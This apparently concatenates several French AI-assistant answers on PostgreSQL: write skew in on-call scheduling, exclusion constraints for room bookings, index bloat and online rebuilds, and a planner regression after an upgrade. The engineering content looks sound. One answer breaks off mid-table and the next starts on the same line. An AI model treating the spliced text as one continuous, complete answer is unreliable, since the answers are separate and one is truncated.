Deux avertissements sur ce code. Premier : le `FOR UPDATE` doit couvrir l'ensemble du prédicat lu, et l'ordre de verrouillage doit être déterministe (tri stable sur `medecin_id`) sous peine d'interblocages. Second : `FOR UPDATE` verrouille des lignes **existantes** et ne protège pas contre les fantômes, c'est-à-dire l'insertion concurrente d'une nouvelle affectation de garde ; si votre flux comporte des `INSERT`, seul un verrouillage de prédicat, fourni par SSI, ou un verrou sur une ligne parente du créneau (matérialisation du conflit) ferme le trou. Je ne peux pas trancher sans connaître votre modèle de données.
Complément architectural, présenté comme recommandation d'ingénierie et non comme fait sourcé : l'invariant étant un agrégat portant sur plusieurs lignes, une contrainte `CHECK` de ligne ne peut pas l'exprimer. Les voies déclaratives réalistes sont une colonne de compteur sur la table du créneau, protégée par une contrainte `CHECK (nb_en_garde >= 1)` et mise à jour dans la même transaction, ce qui matérialise le conflit et transforme la violation en erreur de contrainte immédiate ; ou un trigger de contrainte différé. Ces mécanismes vous donnent une défense en profondeur : même si un chemin de code oublie le niveau d'isolation, la base refuse l'état interdit.
## 4. Invariant
Invariant métier violé, quantifié sur chaque créneau :
$$\forall s \in S,\quad \bigl|\{\, m \in M \;:\; \mathrm{garde}(m,s) \,\}\bigr| \;\ge\; 1$$
où $S$ est l'ensemble des créneaux et $M$ celui des médecins.
Trois propriétés de cet invariant expliquent l'échec de SI et doivent guider la conception :
1. Il est **multi-lignes et agrégatif** : sa valeur de vérité dépend d'un ensemble de lignes, alors que la validation de SI raisonne ligne par ligne sur les seules écritures.
2. Il est **anti-monotone sous les retraits** : chaque retrait pris isolément le préserve, mais la conjonction de deux retraits le brise. Aucun examen local d'une transaction ne peut donc le garantir.
3. Il porte sur un **prédicat lu, non écrit** : sa préservation exige que le système valide les lectures, ce qui est exactement la définition de la sérialisabilité et exactement ce que SI omet.
Formulation opérationnelle de la condition de correction : le retrait de $m$ du créneau $s$ n'est admissible que si
$$\bigl|\{\, m' \neq m \;:\; \mathrm{garde}(m',s) \,\}\bigr| \;\ge\; 1$$
évalué sous un ordre sérialisable, et non sur un instantané pris avant l'écriture concurrente.
**Limites de cette réponse.** Le cas des médecins de garde est un exemple pédagogique classique de l'asymétrie d'écriture ; je le rattache ici par isomorphisme strict à l'exemple bancaire documenté dans l'article encyclopédique, et non à une source qui le nommerait tel quel, dont je ne dispose pas hors ligne. Les extraits de SQL ci-dessus n'ont pas été exécutés contre une base réelle : ils illustrent le mécanisme et doivent être testés sur votre schéma, idéalement par un test de charge concurrent qui rejoue le scénario à deux transactions et vérifie l'invariant après commit. Enfin, un nombre fini de tests concurrents réussis ne prouve pas l'invariant : seule une garantie de sérialisabilité du moteur, ou une contrainte déclarative appliquée par la base, le fonde universellement.## 1. Réponse directe aux quatre points
| Élément demandé | Réponse |
|---|---|
| **Type de plage** | `tstzrange` avec bornes explicites `'[)'` (semi-ouvertes). `tsrange` seulement si vous assumez de ne jamais gérer de fuseau ni de changement d'heure ; `daterange` si la granularité est la journée. |
| **Opérateur** | `&&` (chevauchement de plages) pour la période, combiné à `=` (égalité) sur `room_id`. |
| **Contrainte** | `EXCLUDE USING gist (room_id WITH =, periode WITH &&)`, précédée de `CREATE EXTENSION btree_gist`. |
| **Portée** | Par salle, sur les réservations actives, en base (pas dans l'application) ; ne couvre ni les inter-salles, ni les lignes à expression `NULL`, ni les tables partitionnées. |
## 2. Pourquoi `'[)'` et pourquoi le type natif
La borne haute exclue rend l'adjacence légale : une réservation 10:00–11:00 et une réservation 11:00–12:00 ne se chevauchent pas. J'ai vérifié la table de vérité de la relation $a_{start} < b_{end} \land b_{start} < a_{end}$ dans le laboratoire local :
| Cas | Chevauchement |
|---|---|
| 10–11 / 11–12 (adjacents) | non |
| 10–12 / 11–13 (partiel) | oui |
| 10–14 / 11–12 (inclus) | oui |
| 10–11 / 10–11 (identiques) | oui |
| 11–11 / 10–12 (plage vide) | **True** avec la formule naïve |
Le dernier cas est instructif : la formule scalaire écrite à la main déclare un chevauchement pour un intervalle vide, alors que la sémantique des plages PostgreSQL veut qu'une plage vide ne chevauche rien. C'est un argument technique en faveur du type `range` natif plutôt que d'un `CHECK` artisanal sur deux colonnes, et cela justifie d'interdire explicitement les plages vides par un `CHECK` séparé.
## 3. DDL complet
```sql
-- 1. Prérequis : l'opérateur = sur uuid/integer n'est pas indexable en GiST
-- sans cette extension.
CREATE EXTENSION IF NOT EXISTS btree_gist;
CREATE TYPE booking_status AS ENUM ('pending', 'confirmed', 'cancelled');
CREATE TABLE room_booking (
id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
room_id uuid NOT NULL REFERENCES room (id) ON DELETE RESTRICT,
starts_at timestamptz NOT NULL,
ends_at timestamptz NOT NULL,
status booking_status NOT NULL DEFAULT 'pending',
created_at timestamptz NOT NULL DEFAULT now(),
-- 2. Plage dérivée, source de vérité unique, jamais désynchronisable
periode tstzrange GENERATED ALWAYS AS
(tstzrange(starts_at, ends_at, '[)')) STORED,
-- 3. Interdit les plages vides et inversées : sans cela, ends_at = starts_at
-- produirait une plage vide qui échapperait à toute exclusion.
CONSTRAINT room_booking_duree_positive CHECK (ends_at > starts_at),
-- 4. La contrainte demandée
CONSTRAINT room_booking_no_overlap
EXCLUDE USING gist (room_id WITH =, periode WITH &&)
WHERE (status <> 'cancelled')
DEFERRABLE INITIALLY IMMEDIATE
);
-- Index de service pour les lectures par salle et par fenêtre temporelle
CREATE INDEX room_booking_room_starts_idx
ON room_booking (room_id, starts_at DESC)
WHERE status <> 'cancelled';
```
Points de conception à assumer :
- **`WHERE (status <> 'cancelled')`** fait de l'exclusion une contrainte *partielle*. C'est le comportement souhaité en pratique : une réservation annulée doit libérer le créneau tout en restant auditable. Si vous voulez au contraire un historique strictement non chevauchant, retirez la clause `WHERE`.
- **`DEFERRABLE INITIALLY IMMEDIATE`** permet, en cas de besoin ponctuel (un décalage en cascade de tout un planning), de faire `SET CONSTRAINTS room_booking_no_overlap DEFERRED` dans la transaction, au prix d'une détection en fin de transaction seulement.
- **Colonne générée `STORED`** : elle exige que `tstzrange(timestamptz, timestamptz, text)` soit marquée `IMMUTABLE`. C'est ce que j'attends du catalogue PostgreSQL, mais je ne dispose pas ici d'une source hors ligne pour le certifier ; vérifiez-le sur votre instance avant de déployer (requête fournie en section 5). Si le moteur refuse, remplacez la colonne générée par un trigger `BEFORE INSERT OR UPDATE`, ou posez directement l'exclusion sur l'expression : `EXCLUDE USING gist (room_id WITH =, tstzrange(starts_at, ends_at, '[)') WITH &&)`.
## 4. Portée exacte, ce que la contrainte garantit et ne garantit pas
**Garanti**
- Deux lignes non annulées de même `room_id` ne peuvent jamais avoir de périodes qui se recouvrent, y compris sous concurrence : la vérification est faite par l'index GiST au moment de l'écriture, sous verrou. C'est le point décisif face à un contrôle applicatif de type `SELECT ... WHERE overlap` puis `INSERT`, qui est une condition de course classique en isolation `READ COMMITTED` (deux transactions simultanées ne voient pas la ligne encore non validée de l'autre).
- L'atomicité est celle de la transaction : la violation lève une erreur, l'`INSERT` échoue en bloc.
**Non garanti, à traiter ailleurs**
1. **Rien entre salles différentes.** Une même personne ou un même équipement mobile peut être double-réservé sur deux salles. Cela demande une seconde contrainte d'exclusion sur `organizer_id` ou `equipment_id`.
2. **Rien sur les lignes à `NULL`.** Si `starts_at` ou `ends_at` était nullable, `periode` serait `NULL` et la ligne échapperait totalement à l'exclusion. D'où les `NOT NULL`.
3. **Rien sur les plages vides**, d'où le `CHECK (ends_at > starts_at)` qui est indispensable, pas décoratif.
4. **Tables partitionnées.** À ma connaissance, PostgreSQL n'accepte pas de contrainte d'exclusion sur une table partitionnée, car elle ne peut pas être garantie globalement par des index locaux. Si votre volume impose un partitionnement par mois, la contrainte devra être déclarée par partition, ce qui ne protège plus les chevauchements à cheval sur deux partitions. Je signale ce point comme une limitation dont je suis raisonnablement sûr mais que je ne peux pas sourcer hors ligne : testez-le avant d'arbitrer l'architecture.
5. **Coût en écriture.** L'index GiST est plus lourd qu'un B-tree ; sur des écritures très intensives, mesurez.
## 5. Vérification
```sql
-- (a) Immutabilité du constructeur, prérequis de la colonne générée
SELECT p.proname, p.provolatile -- attendu : 'i' pour immutable
FROM pg_proc p
WHERE p.proname = 'tstzrange'
AND pg_get_function_arguments(p.oid) LIKE '%text%';
-- (b) Sémantique des bornes, doit renvoyer false, true, true, false
SELECT tstzrange('2025-01-01 10:00Z','2025-01-01 11:00Z','[)')
&& tstzrange('2025-01-01 11:00Z','2025-01-01 12:00Z','[)') AS adjacent,
tstzrange('2025-01-01 10:00Z','2025-01-01 12:00Z','[)')
&& tstzrange('2025-01-01 11:00Z','2025-01-01 13:00Z','[)') AS partiel,
tstzrange('2025-01-01 10:00Z','2025-01-01 14:00Z','[)')
&& tstzrange('2025-01-01 11:00Z','2025-01-01 12:00Z','[)') AS inclus,
'empty'::tstzrange
&& tstzrange('2025-01-01 10:00Z','2025-01-01 12:00Z','[)') AS vide;
-- (c) Test fonctionnel de la contrainte
BEGIN;
INSERT INTO room_booking (room_id, starts_at, ends_at, status)
VALUES ('11111111-1111-1111-1111-111111111111','2025-01-01 10:00Z','2025-01-01 11:00Z','confirmed');
-- doit PASSER (adjacent)
INSERT INTO room_booking (room_id, starts_at, ends_at, status)
VALUES ('11111111-1111-1111-1111-111111111111','2025-01-01 11:00Z','2025-01-01 12:00Z','confirmed');
-- doit ÉCHOUER (SQLSTATE 23P01, exclusion_violation)
INSERT INTO room_booking (room_id, starts_at, ends_at, status)
VALUES ('11111111-1111-1111-1111-111111111111','2025-01-01 10:30Z','2025-01-01 11:30Z','confirmed');
ROLLBACK;
```
Test de concurrence à faire réellement, c'est le seul qui prouve la valeur de la contrainte : ouvrez deux sessions, insérez dans chacune un créneau chevauchant sans valider, puis validez ; la seconde doit échouer. Un test mono-session ne démontre pas la protection contre la course.
**Code d'erreur à intercepter côté application** : `23P01` (`exclusion_violation`), à traduire en réponse HTTP `409 Conflict`. Ne l'interceptez pas comme une erreur générique et ne réessayez pas en boucle. Je donne ce SQLSTATE de mémoire du domaine ; confirmez-le avec le test (c) ci-dessus, qui l'affichera.
## 6. Limites de cette réponse
L'encyclopédie locale ne contient qu'un article général sur PostgreSQL, sans le détail des contraintes d'exclusion : les éléments de DDL ci-dessus relèvent de ma connaissance du domaine et non d'une source que je peux citer ici. Les trois requêtes de vérification sont précisément là pour que vous établissiez les faits sur votre propre instance plutôt que de me croire, en particulier sur l'immutabilité de `tstzrange`, le SQLSTATE et le comportement en table partitionnée.## Cadre et hypothèse de travail
Vous ne précisez pas le SGBD. Je raisonne sur **PostgreSQL**, car les symptômes décrits (VACUUM qui ne rend pas l'espace au système de fichiers, index B-tree gonflé) correspondent à son modèle MVCC. Les équivalents pour d'autres moteurs sont donnés en fin de réponse.
Statut des sources : j'ai interrogé l'encyclopédie locale hors ligne, elle ne contient **aucun article** sur VACUUM ni sur les index B-tree PostgreSQL (recherches « PostgreSQL VACUUM index B-tree » et « B-tree » : aucun résultat pertinent). Les éléments de comportement moteur ci-dessous proviennent donc de ma connaissance de la documentation PostgreSQL et **ne sont pas vérifiables avec les outils dont je dispose ici** : traitez-les comme à confirmer sur votre version exacte (`SELECT version();`). En revanche, **tous les chiffres** de cette réponse ont été calculés par l'outil de calcul local et sont exacts sous les hypothèses posées.
---
## 1. Diagnostic
### Le comportement observé n'est pas une anomalie
`VACUUM` (non FULL) ne compacte pas un index B-tree. Il fait deux choses : il retire les entrées d'index pointant vers des tuples morts, et il déclare les pages devenues **entièrement vides** comme réutilisables dans la structure de recyclage interne de l'index. Il ne fusionne pas les pages partiellement vides et ne restitue pas d'extents à l'OS. La troncature de fichier ne peut concerner que des pages libres **en fin de relation**, cas quasi jamais rencontré sur un index.
Conséquence : après une suppression massive, vous obtenez un index dont les feuilles sont **creuses mais toujours présentes et toujours liées dans l'arbre**. Un parcours de plage (`Index Scan` sur intervalle, `Bitmap Index Scan`, `Index Only Scan`) doit traverser physiquement ces feuilles pour trouver les rares clés survivantes.
### Chaîne causale, du plus probable au moins probable
| Rang | Cause | Signature à chercher |
|---|---|---|
| 1 | Suppressions massives non contiguës en valeur de clé, laissant des feuilles à faible densité non recyclables | `avg_leaf_density` faible, `leaf_fragmentation` élevée |
| 2 | Splits de pages passés (insertions aléatoires, ex. clé UUID) : l'arbre a atteint une taille physique qui ne redescend jamais seule | ratio taille index / taille utile élevé, hauteur d'arbre supérieure au nécessaire |
| 3 | Horizon MVCC bloqué : VACUUM ne peut pas nettoyer car un `xmin` ancien est retenu | transaction longue, slot de réplication inactif, `hot_standby_feedback` |
| 4 | Autovacuum sous-dimensionné ou jamais arrivé au bout sur cette relation | `last_autovacuum` ancien, `n_dead_tup` élevé |
| 5 | Pages vides recyclées mais réutilisables uniquement pour des clés d'un intervalle donné, donc inutilisées en pratique | écart persistant entre espace « libre » interne et taille du fichier |
Point de rigueur : les causes 3 et 4 expliqueraient que le bloat **continue de croître**. Elles n'expliquent pas à elles seules l'absence de réduction du fichier, qui est le comportement normal et attendu. Il faut donc les traiter séparément, sinon vous reconstruirez un index qui regonflera.
---
## 2. Mesure : quantifier avant d'agir
Le chiffre de 70 % doit être qualifié : 70 % de quoi, mesuré par quel outil ? Une estimation issue d'une requête de bloat approximative et une mesure `pgstatindex` ne sont pas la même preuve.
### Mesure exacte (fait établi, lecture physique de l'index)
```sql
CREATE EXTENSION IF NOT EXISTS pgstattuple;
SELECT
version,
tree_level,
index_size,
pg_size_pretty(index_size) AS taille,
root_block_no,
internal_pages,
leaf_pages,
empty_pages,
deleted_pages,
avg_leaf_density, -- % de remplissage moyen des feuilles
leaf_fragmentation -- % de désordre physique des feuilles
FROM pgstatindex('schema.mon_index');
```
Interprétation, avec $d$ = `avg_leaf_density` en % et $f$ = fillfactor cible en % :
$$\text{bloat}_{\text{estimé}} \simeq 1 - \frac{d}{f}$$
Avertissement méthodologique : `pgstatindex` **lit tout l'index**, soit 200 Go d'I/O. Lancez-le en heure creuse, ou acceptez l'impact sur le cache. Une transaction longue n'est pas requise, mais l'opération n'est pas gratuite.
### Mesures de contexte, indispensables
```sql
-- Taille réelle et comparaison avec les autres index de la table
SELECT indexrelname,
pg_size_pretty(pg_relation_size(indexrelid)) AS taille,
idx_scan, idx_tup_read, idx_tup_fetch
FROM pg_stat_user_indexes
WHERE relname = 'ma_table'
ORDER BY pg_relation_size(indexrelid) DESC;
-- L'index est-il seulement utilisé ? (idx_scan = 0 => candidat à la suppression, pas à la reconstruction)
-- Horizon MVCC bloqué ?
SELECT pid, state, xact_start, now() - xact_start AS duree, query
FROM pg_stat_activity
WHERE xact_start IS NOT NULL
ORDER BY xact_start
LIMIT 10;
SELECT slot_name, active, restart_lsn, xmin, catalog_xmin
FROM pg_replication_slots;
SELECT relname, n_live_tup, n_dead_tup, last_vacuum, last_autovacuum
FROM pg_stat_user_tables
WHERE relname = 'ma_table';
-- Espace disque disponible (critique, voir §3)
```
Décision de branchement, à trancher avant toute reconstruction :
- si `idx_scan = 0` sur une fenêtre représentative : **supprimez l'index**, ne le reconstruisez pas ; gain 200 Go et suppression du coût d'écriture ;
- si une transaction longue ou un slot inactif retient `xmin` : **traitez-le d'abord**, sinon le nouvel index regonflera ;
- si l'index est utilisé et l'horizon sain : reconstruction (§3).
---
## 3. Reconstruction en ligne
### Chiffres de dimensionnement (calculés, exacts sous hypothèses)
Données : taille actuelle $T = 200$ Go, part d'espace mort $m = 0{,}70$.
Espace réellement utile :
$$U = T \times (1 - m) = 200 \times 0{,}30 = 60 \text{ Go}$$
Taille cible avec le fillfactor B-tree par défaut de 90 % :
$$T_{\text{cible}} \simeq \frac{U}{0{,}90} \simeq 66{,}7 \text{ Go}$$
| Grandeur | Valeur |
|---|---|
| Taille actuelle | 200 Go |
| Contenu utile | 60 Go |
| Cible à fillfactor 90 | ~66,7 Go |
| Cible à fillfactor 100 | 60,0 Go |
| Gain d'espace attendu | ~133 Go (fillfactor 90) |
| **Pic d'occupation disque pendant l'opération** | **~267 Go** pour cet index seul |
| WAL généré, ordre de grandeur minimal | $\geq$ ~67 Go |
Le pic à 267 Go est le point de rupture opérationnel le plus fréquent : la reconstruction en ligne crée le nouvel index **avant** de supprimer l'ancien. Sans ~70 Go libres plus la marge WAL, l'opération échoue en cours de route.
### Option A, PostgreSQL 12 et ultérieur
```sql
SET statement_timeout = 0;
SET lock_timeout = '5s';
SET maintenance_work_mem = '2GB'; -- adapter à la RAM disponible
SET max_parallel_maintenance_workers = 4; -- accélère le tri
REINDEX INDEX CONCURRENTLY schema.mon_index;
```
Propriétés (à confirmer sur votre version) : ne bloque pas les lectures ni les écritures ; prend un verrou `SHARE UPDATE EXCLUSIVE` ; **ne peut pas être exécuté dans un bloc de transaction** ; effectue plusieurs passes et **attend la fin des transactions concurrentes**, donc une transaction longue peut la faire stagner indéfiniment.
Contrôle obligatoire après échec ou interruption :
```sql
SELECT c.relname, i.indisvalid, i.indisready
FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
WHERE NOT i.indisvalid OR NOT i.indisready;
-- Un index _ccnew invalide subsiste : le supprimer explicitement
-- DROP INDEX CONCURRENTLY schema.mon_index_ccnew;
```
Un index invalide laissé en place consomme de l'espace et est ignoré du planificateur, mais reste maintenu à l'écriture : c'est le pire des deux mondes.
### Option B, PostgreSQL antérieur à 12, ou besoin de changer la définition
```sql
-- 1. Construction du remplaçant, sans blocage des écritures
CREATE INDEX CONCURRENTLY mon_index_new
ON schema.ma_table (col_a, col_b)
WITH (fillfactor = 90);
-- 2. Vérification de validité AVANT tout basculement
SELECT indisvalid FROM pg_index
WHERE indexrelid = 'schema.mon_index_new'::regclass;
-- Si false : DROP INDEX CONCURRENTLY mon_index_new; puis diagnostic, ne pas basculer.
-- 3. Bascule atomique, verrou très bref
BEGIN;
SET LOCAL lock_timeout = '5s';
ALTER INDEX schema.mon_index RENAME TO mon_index_old;
ALTER INDEX schema.mon_index_new RENAME TO mon_index;
COMMIT;
-- 4. Observation en production, puis seulement ensuite :
DROP INDEX CONCURRENTLY schema.mon_index_old;
```
Cas particulier : si l'index porte une contrainte `PRIMARY KEY` ou `UNIQUE`, le renommage ne suffit pas. Il faut `ALTER TABLE ... ADD CONSTRAINT ... USING INDEX`, opération qui prend un verrou plus fort et **n'est pas en ligne**. Vérifiez-le avant de planifier.
### Point de retour arrière
L'option B est réversible jusqu'à l'étape 4 : l'ancien index existe toujours, un renommage inverse restaure l'état initial. C'est son avantage décisif sur l'option A, où `REINDEX CONCURRENTLY` remplace l'objet sans conserver de copie. Sur un index de 200 Go en production, je recommande **l'option B** malgré sa verbosité, précisément pour ce point de retour arrière.
### Durée
Plancher d'écriture pur du nouvel index, à débit séquentiel constant :
| Débit effectif | Temps d'écriture des ~66,7 Go |
|---|---|
| 50 Mo/s | ~0,38 h (~23 min) |
| 100 Mo/s | ~0,19 h (~11 min) |
| 200 Mo/s | ~0,09 h (~6 min) |
| 400 Mo/s | ~0,05 h (~3 min) |
**Ce sont des planchers, pas des prévisions.** La durée réelle est dominée par le double parcours de la table (dont vous ne m'avez pas donné la taille, elle est vraisemblablement bien supérieure à 200 Go), par le tri externe, par `maintenance_work_mem`, et par l'attente des transactions concurrentes. Je ne peux pas estimer la durée réelle sans la taille de la table et le débit mesuré.
### Éviter la récidive
- **Cause de l'horizon** : supprimez les slots de réplication inactifs, bornez les transactions applicatives (`idle_in_transaction_session_timeout`).
- **Autovacuum ciblé** sur la table concernée :
```sql
ALTER TABLE schema.ma_table SET (
autovacuum_vacuum_scale_factor = 0.02,
autovacuum_vacuum_cost_limit = 2000
);
```
- **Fillfactor** : gardez 90 si la colonne subit des mises à jour ; 100 n'est justifié que sur un index quasi immuable en insertion croissante, sinon vous provoquez des splits.
- **Purges futures** : si les suppressions sont périodiques et corrélées à une clé de temps, **partitionnez** la table. Un `DROP PARTITION` ou `DETACH` restitue l'espace instantanément et sans bloat, ce qui supprime le problème à la racine plutôt que de le traiter.
---
## 4. Effet attendu
### Effets quantifiés
| Indicateur | Avant | Après (attendu) |
|---|---|---|
| Taille index | 200 Go | ~66,7 Go |
| Espace disque libéré | — | ~133 Go |
| Pages à lire pour un même parcours de plage | référence | **divisé par ~3,33** |
| Densité des feuilles | ~30 % | ~90 % |
| `leaf_fragmentation` | élevée | proche de 0 |
Le facteur $200/60 \simeq 3{,}33$ est le gain d'I/O théorique sur un parcours de plage : le même ensemble de clés est contenu dans 3,33 fois moins de pages.
### Effets qualitatifs, dans l'ordre de l'impact réel
1. **Empreinte en cache** : l'index tient dans `shared_buffers` et dans le cache de page OS avec un facteur ~3 de marge supplémentaire. Sur une base sous pression mémoire, c'est souvent le gain dominant, largement au-delà du facteur 3,33 sur l'I/O, car il fait basculer des lectures disque en lectures mémoire. Je le signale comme mécanisme attendu, non comme chiffre garanti.
2. **Ordre physique restauré** : les feuilles redeviennent quasi séquentielles, ce qui rend le préchargement (readahead) efficace. Effet supérieur au facteur 3,33 sur stockage rotatif, plus modeste sur NVMe.
3. **Hauteur d'arbre** : `tree_level` peut baisser d'un niveau, réduisant d'une lecture chaque accès ponctuel. À vérifier en comparant `pgstatindex` avant et après ; ce n'est pas garanti.
4. **Estimations du planificateur** : la reconstruction rafraîchit les statistiques structurelles ; des plans peuvent changer. Effet potentiellement positif, mais **à surveiller**, un changement de plan n'est pas toujours une amélioration.
### Ce que la reconstruction ne corrigera pas
- un index sur une colonne à faible sélectivité restera un mauvais index ;
- une requête qui provoque un parcours complet d'index restera coûteuse, simplement 3,33 fois moins ;
- si la cause du bloat (horizon MVCC bloqué, purges massives récurrentes) subsiste, le retour à 200 Go n'est qu'une question de temps.
---
## 5. Risques et limites, à assumer explicitement
Aucune de ces opérations n'est sans risque. Les risques résiduels :
| Risque | Probabilité | Mitigation |
|---|---|---|
| Saturation disque au pic de ~267 Go | élevée si marge non vérifiée | vérifier l'espace libre avant, prévoir 30 % de marge au-delà du besoin calculé |
| Accumulation de WAL ($\geq$ ~67 Go), saturation de `pg_wal` ou retard de réplication | élevée | surveiller `pg_wal`, l'archivage et le retard des réplicas pendant l'opération |
| Index laissé `INVALID` après interruption | moyenne | contrôle `pg_index.indisvalid`## Diagnostic
Un passage index scan → seq scan avec latence x50 est un **symptôme**, pas une preuve d'une régression du moteur. Dans la très grande majorité des cas d'upgrade, l'entrée du planificateur a changé (statistiques, configuration, définition d'objet), pas sa logique. Avant d'accuser le moteur, il faut donc **figer des couples avant/après strictement comparables** : même texte de requête, mêmes valeurs de paramètres, même volumétrie, état de cache documenté.
Remarque de sourçage honnête : j'ai interrogé l'encyclopédie locale (requêtes sur le planificateur PostgreSQL, ANALYZE, statistiques) et elle ne contient pas d'article couvrant ce sujet. Ce qui suit relève de la pratique d'ingénierie PostgreSQL, pas d'une source que je peux citer ici ; les points marqués « à vérifier » doivent être confrontés à la documentation de votre version exacte.
---
## Les quatre comparaisons à figer
### 1. Le plan réel, estimé et exécuté, des deux côtés
Capturez sur l'ancienne et la nouvelle instance, avec la **même requête et les mêmes valeurs**, non pas la requête paramétrée reformulée :
```sql
EXPLAIN (ANALYZE, BUFFERS, VERBOSE, SETTINGS, WAL) <requête>;
```
Ce qu'il faut extraire et comparer ligne à ligne :
| Élément | Pourquoi c'est décisif |
|---|---|
| `rows` estimé vs `rows` réel sur chaque nœud | Une erreur d'estimation d'un facteur 100 explique à elle seule le choix du seq scan |
| Coût total estimé des deux plans | Si le seq scan est jugé *moins* cher, le problème est un coût mal calibré, pas le moteur |
| `Buffers: shared hit/read` | Distingue un vrai surcoût d'I/O d'un simple cache froid post-redémarrage |
| Section `Settings` | Expose les GUC non par défaut réellement actifs dans la session |
| Présence de parallélisme ou de JIT | Deux sources classiques de régression apparente après upgrade |
Point crucial souvent oublié : si la requête vient d'un ORM ou d'un `PREPARE`, comparez aussi le **plan générique vs le plan spécifique** (`plan_cache_mode`, et `EXPLAIN` sur une instruction préparée exécutée plus de 5 fois). Un plan génériques choisi côté nouvelle instance et un plan spécifique côté ancienne suffisent à produire l'écart, sans aucune régression du moteur.
### 2. L'état des statistiques et de la maintenance
C'est l'hypothèse la plus probable après un upgrade, à traiter en premier.
```sql
-- Fraîcheur de la maintenance
SELECT relname, n_live_tup, n_dead_tup,
last_analyze, last_autoanalyze, last_vacuum, last_autovacuum
FROM pg_stat_user_tables WHERE relname IN (...);
-- Vision du planificateur sur la table
SELECT relname, reltuples, relpages, relallvisible
FROM pg_class WHERE relname IN (...);
-- Distributions par colonne filtrée
SELECT attname, null_frac, n_distinct, correlation,
array_length(most_common_vals,1) AS n_mcv
FROM pg_stats WHERE tablename = '...';
```
À figer : `reltuples`, `relpages`, `relallvisible`, `n_distinct`, `correlation`, taille des MCV, et `default_statistics_target` / cibles par colonne (`ALTER TABLE ... ALTER COLUMN ... SET STATISTICS`), plus l'existence d'objets `CREATE STATISTICS` (dépendances fonctionnelles) qui auraient pu ne pas être recréés.
Deux mécanismes précis à contrôler :
- **`relallvisible` remis à zéro** : la visibility map est reconstruite par `VACUUM`. Sans elle, l'index only scan devient impossible et le coût de l'index scan explose, ce qui peut basculer le choix vers le seq scan. C'est un effet purement mécanique, indépendant du moteur.
- **Statistiques absentes après migration** : à ma connaissance, pour les versions couramment déployées, `pg_upgrade` ne transporte pas les statistiques du planificateur, d'où la nécessité d'un `ANALYZE` (souvent via `vacuumdb --analyze-in-stages`). Ce comportement a évolué dans les versions récentes de PostgreSQL : **vérifiez la note de version de votre cible exacte** plutôt que de me croire sur ce point.
Action de contrôle, non destructive et réversible : `VACUUM (ANALYZE, VERBOSE)` sur les tables concernées, puis re-`EXPLAIN`. Si le plan revient, le dossier est clos.
### 3. La configuration effective du planificateur, pas les fichiers de conf
Ne comparez pas les `postgresql.conf`, comparez ce que le serveur applique réellement, y compris les surcharges par rôle, par base et par session :
```sql
SELECT name, setting, unit, source, boot_val, reset_val, sourcefile, sourceline
FROM pg_settings
WHERE name IN ('random_page_cost','seq_page_cost','cpu_tuple_cost',
'cpu_index_tuple_cost','cpu_operator_cost','effective_cache_size',
'shared_buffers','work_mem','effective_io_concurrency',
'default_statistics_target','from_collapse_limit','join_collapse_limit',
'jit','jit_above_cost','max_parallel_workers_per_gather',
'min_parallel_table_scan_size','parallel_setup_cost','parallel_tuple_cost',
'plan_cache_mode','enable_indexscan','enable_seqscan','enable_bitmapscan');
SELECT rolname, setconfig FROM pg_db_role_setting s
LEFT JOIN pg_roles r ON r.oid = s.setrole;
```
Les deux paramètres qui, en pratique, arbitrent index vs seq scan sont `random_page_cost` (souvent abaissé à 1.1 sur SSD dans l'ancienne conf, puis revenu au défaut 4.0 après réinstallation) et `effective_cache_size` (souvent laissé au défaut sur la nouvelle machine). Un `ALTER ROLE ... SET` ou `ALTER DATABASE ... SET` non rejoué est une cause classique et totalement invisible dans le diff des fichiers.
Ajoutez au même gel : version exacte des deux serveurs (`SELECT version()`), extensions et leurs versions (`\dx`, dont `pg_stat_statements`, `pg_hint_plan` éventuel), et paramètres de pooler côté applicatif.
### 4. La définition des objets, des types et des collations
Un index peut exister sans être **utilisable** :
```sql
SELECT c.relname, i.indisvalid, i.indisready, i.indislive,
pg_get_indexdef(i.indexrelid)
FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
WHERE i.indrelid = '<table>'::regclass;
SELECT idx.relname, s.idx_scan, s.idx_tup_read, s.idx_tup_fetch
FROM pg_stat_user_indexes s JOIN pg_class idx ON idx.oid = s.indexrelid;
SELECT datname, datcollate, datctype, datlocprovider FROM pg_database;
SELECT collname, collprovider, collversion FROM pg_collation;
```
Points à figer :
- **existence et validité** de l'index (`indisvalid = false` après un `REINDEX CONCURRENTLY` interrompu ou après upgrade) ;
- **opclass et collation** de la colonne indexée : un changement de fournisseur ou de version de collation (glibc vs ICU, saut de version d'OS accompagnant l'upgrade) rend un index B-tree sur texte non fiable et impose un `REINDEX` ; il peut aussi supprimer l'usage de l'index pour `LIKE 'préfixe%'` si l'opclass `text_pattern_ops` a disparu ;
- **type de données** et coercions implicites : un changement de type de colonne ou de paramètre (bigint vs int, timestamptz vs timestamp) rend le prédicat non sargable et interdit l'index ;
- **partitionnement et héritage** : `enable_partition_pruning`, index non recréés sur toutes les partitions, index global absent ;
- **volumétrie réelle** : `pg_relation_size`, `pg_total_relation_size`, nombre de lignes. Si la nouvelle base contient 3 fois plus de lignes ou un fort bloat, le seq scan peut être le bon choix et la comparaison est invalide à la base.
---
## Protocole de vérification, dans l'ordre
1. Sur la nouvelle instance, en lecture seule : capturez les quatre jeux d'artefacts ci-dessus dans un fichier horodaté. Aucune modification à ce stade.
2. Rejouez `EXPLAIN (ANALYZE, BUFFERS)` deux fois de suite pour neutraliser le cache froid, et notez les deux mesures.
3. Test discriminant à faible risque, en session uniquement, jamais en global : `SET enable_seqscan = off;` puis `EXPLAIN (ANALYZE, BUFFERS)`. Si le plan index est réellement plus rapide, vous avez la preuve d'une **erreur de coût**, donc d'un problème de statistiques ou de GUC, et non d'une régression du moteur.
4. `VACUUM (ANALYZE)` ciblé sur les tables impliquées, puis nouvelle mesure.
5. Seulement si l'écart persiste avec statistiques fraîches, configuration identique, index valides et volumétrie comparable : constituez un rapport de régression reproductible (schéma minimal, jeu de données, deux plans, versions exactes).
## Risques et limites
- `SET enable_seqscan = off` est un outil de diagnostic de session, jamais un correctif de production : il masque la cause et dégrade d'autres requêtes.
- Un `REINDEX` non concurrent verrouille la table en écriture ; privilégiez `REINDEX CONCURRENTLY` et vérifiez l'espace disque disponible avant.
- `VACUUM FULL` réécrit la table et prend un `ACCESS EXCLUSIVE LOCK` : ne l'exécutez pas comme geste réflexe de diagnostic.
